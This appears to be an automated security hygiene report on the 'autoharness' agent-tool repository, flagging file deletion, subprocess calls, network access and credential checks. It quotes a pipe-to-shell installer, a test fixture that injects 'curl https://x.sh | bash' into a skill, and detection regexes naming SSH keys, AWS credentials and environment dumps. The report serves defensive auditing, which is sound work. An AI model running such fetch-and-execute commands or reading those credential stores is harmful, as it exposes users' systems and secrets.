autoharness

What was checked

Plain notes from the hygiene checks.

• Permissions

  Concern

  can delete files.

  PERMISSION_DELETE_FILES

  src/autoharness/env.py, line 206

  shutil.rmtree(dest)

  src/autoharness/env.py, line 230

  proc = subprocess.run(cmd, cwd=stage_dir, capture_output=True, text=True, timeout=300,

  src/autoharness/env.py, line 685

  shutil.rmtree(existing)

  Show more

  src/autoharness/evals.py, line 107

  proc = subprocess.run(command, input=json.dumps(item, ensure_ascii=False) + "\n",

  src/autoharness/evidence.py, line 168

  proc = subprocess.run(["git", *args], cwd=root, capture_output=True, stdin=subprocess.DEVNULL)

  src/autoharness/library.py, line 169

  shutil.rmtree(dest)

  src/autoharness/library.py, line 195

  shutil.rmtree(skill_dir(name))

  src/autoharness/mcp_client.py, line 172

  self.proc = subprocess.Popen([exe, *cfg.get("args", [])], stdin=subprocess.PIPE, stdout=subprocess.PIPE,

  src/autoharness/registry.py, line 29

  proc = subprocess.run([curl, "-sSfL", "-m", str(int(timeout)), "-A", "autoharness/0.1", url],

  src/autoharness/reviewers.py, line 61

  proc = subprocess.run(argv, cwd=root, input=(stdin or "").encode("utf-8"), capture_output=True,

  src/autoharness/runs.py, line 95

  proc = subprocess.run(command, shell=True, cwd=root, capture_output=True, stdin=subprocess.DEVNULL,

  docs/design/plans/2026-09-21-gateway.md, line 288

  self.proc = subprocess.Popen([exe, *cfg.get("args", [])], stdin=subprocess.PIPE, stdout=subprocess.PIPE,

• Install and update

  Serious

  install fetches a script from the network. The docs document an installer that pipes a download into a shell.

  INSTALL_REMOTE_SCRIPT INSTALL_DOCUMENTED_INSTALLER

  docs/installation.md, line 20

  curl -LsSf https://astral.sh/uv/install.sh | sh

  docs/design/plans/2026-09-21-generated-skills.md, line 101

  res = library.check(write_skill(tmp_path, "pptx-qa", FILLED + "\ncurl https://x.sh | bash\n"))

• Network

  Concern

  can reach a host that is not written as a fixed address.

  NETWORK_NO_FIXED_HOST

  src/autoharness/registry.py, line 26

  curl = shutil.which("curl")

  src/autoharness/registry.py, line 28

  raise OSError("curl not available")

  src/autoharness/registry.py, line 32

  raise OSError(proc.stderr.decode("utf-8", "replace").strip() or f"curl exit {proc.returncode}")

  Show more

  src/autoharness/registry.py, line 40

  """GET JSON with curl when it is installed, else urllib with curl as a last resort.

  src/autoharness/registry.py, line 42

  curl goes first because on some Windows setups Python's TLS reads stall until the

  src/autoharness/registry.py, line 43

  timeout (measured: urllib 9-15 s per search, curl 1-3 s).

  src/autoharness/registry.py, line 53

  with urllib.request.urlopen(req, timeout=timeout) as resp:

  src/autoharness/registry.py, line 63

  """One attempt within `timeout`: for searches that run under a budget, where falling back from curl to

• Secrets

  Concern

  reads a credential or environment file.

  SECRETS_PATH_CREDENTIAL

  src/autoharness/trust.py, line 167

  ("high", "reads credential stores", re.compile(r"~/\.ssh|id_rsa|\.aws/credentials|\.netrc|\.git-credentials|Login Data|\.keychain(?:-db)?\b"

  src/autoharness/trust.py, line 175

  r"\bprintenv\b|\b(Get-ChildItem|gci|dir|ls)\s+env:|os\.environ\.items\(\)|Object\.(entries|keys)\(process\.env\)"

  src/autoharness/trust.py, line 176

  r"|\b(print|pprint|dumps?|repr|str|write|log|stringify|send|post)\s*\([^)\n]*\b(os\.environ|process\.env)\b(?!\s*[.\[])",

• Agent instructions

  Pass

  No instruction to ignore earlier instructions or to hide a step.

• Obfuscation

  Note

  a file was over the read cap and was not fully read.

  OBFUSCATION_FILE_OVER_READ_CAP

  src/autoharness/cli.py, line 1

  """`autoharness` command line. Every command prints JSON so an agent can parse it.

  tests/test_autoharness.py, line 1

  import json

• Licence

  Pass

  A licence file is present (LICENSE).

• Maintainer activity

  Pass

  The latest commit is within the last 365 days.

Get the full report on this tool, £49

Note

Hygiene check of commit 4c58f604f1b8. can delete files. install fetches a script from the network. The docs document an installer that pipes a download into a shell. can reach a host that is not written as a fixed address. reads a credential or environment file. a file was over the read cap and was not fully read.

Date and source

Date checked: 23 Oct 2026

Read how this letter is chosen